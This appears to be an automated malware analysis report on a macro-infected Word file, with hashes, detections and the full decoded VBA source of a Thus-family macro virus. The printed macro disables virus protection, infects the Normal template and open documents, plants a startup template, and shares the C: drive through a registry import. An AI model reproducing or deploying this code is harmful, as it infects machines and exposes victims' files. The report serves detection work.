Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 19b2e74f3740798e…

MALICIOUS

Office (OLE)

43.0 KB Created: 1997-07-07 09:37:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 65009696d952a69b5137d17962bccda5 SHA-1: a3ac3a67d15d069f9a28000f99ec97620ed69063 SHA-256: 19b2e74f3740798ea52710cb01f7b97933b23c85924dcacf3bf5dacf36c91b1f
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro that uses the Shell() function to execute arbitrary code. This macro attempts to copy itself to the NormalTemplate and then save a new template file named 'autosave.dot' in the Office startup directory, likely to establish persistence or facilitate payload delivery. The presence of ClamAV detections like Win.Trojan.Pivis-2 and Doc.Trojan.Thus-3 further indicates malicious intent.

Heuristics 5

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3172 bytes
SHA-256: eaf0431298d2983323c2a33b93162b650fbbe6e79e2ecc50afd8630327b1a9f1
Detection
ClamAV: Doc.Trojan.Thus-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
'Anti-Smyser'
'Surgeon'
On Error Resume Next
With Application.Options
 .ConfirmConversions = False
 .VirusProtection = False
 .SaveNormalPrompt = False
End With
ActiveDocument.ReadOnlyRecommended = False
'This is small fun'
Dim nt As Object, ad As Object
Set nt = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
Set ad = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
If nt.Lines(12, 1) <> "'This is small fun'" Then nt.DeleteLines 1, nt.CountOfLines
If nt.CountOfLines = 0 Then nt.InsertLines 1, ad.Lines(1, ad.CountOfLines)
If NormalTemplate.Saved = False Then NormalTemplate.Save
For k = 1 To Application.Documents.Count
    With Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule
     If .Lines(12, 1) <> "'This is small fun'" Then .DeleteLines 1, .CountOfLines
     If .CountOfLines = 0 Then .InsertLines 1, nt.Lines(1, nt.CountOfLines)
    End With
Next k
With Application.FileSearch
    .NewSearch
    .LookIn = "C:\Program Files\Microsoft Office\Office\STARTUP"
    .SearchSubFolders = False
    If .Execute > 0 Then GoTo r1
End With
Documents.Add Template:="", NewTemplate:=True
    ActiveDocument.SaveAs FileName:= _
        "C:\Program Files\Microsoft Office\Office\STARTUP\autosave.dot", _
        FileFormat:=wdFormatTemplate, LockComments:=False, Password:="", _
        AddToRecentFiles:=True, WritePassword:="", ReadOnlyRecommended:=False, _
        EmbedTrueTypeFonts:=False, SaveNativePictureFormat:=False, SaveFormsData _
        :=False, SaveAsAOCELetter:=False
   With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
        .AddFromString ("sub viewvbcode()" & ":" & "end sub")
        .AddFromString ("sub ToolsMacro()" & ":" & "end sub")
        .AddFromString ("sub FileTemplates()" & ":" & "end sub")
        
    ActiveDocument.Save
    ActiveDocument.Close
  End With
r1:
Dim c As String
If Asc((System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C", _
     "Flags")) = 146) Then GoTo exits1
Open "c:\nc.dll" For Output As #1
c = "REGEDIT4"
Print #1, c
c = "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C]"
Print #1, c
c = Chr(34) & "Flags" & Chr(34) & "=dword:00000192"
Print #1, c
c = Chr(34) & "Type" & Chr(34) & "=dword:00000000"
Print #1, c
c = Chr(34) & "Path" & Chr(34) & "=" & Chr(34) & "C:\\" & Chr(34)
Print #1, c
c = Chr(34) & "Parm2enc" & Chr(34) & "=hex:"
Print #1, c
c = Chr(34) & "Parm1enc" & Chr(34) & "=hex:"
Print #1, c
c = Chr(34) & "Remark" & Chr(34) & "=" & Chr(34) & Chr(34)
Print #1, c
Close #1
Shell "regedit c:\nc.dll"
Kill "c:\nc.dll"
exits1:
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub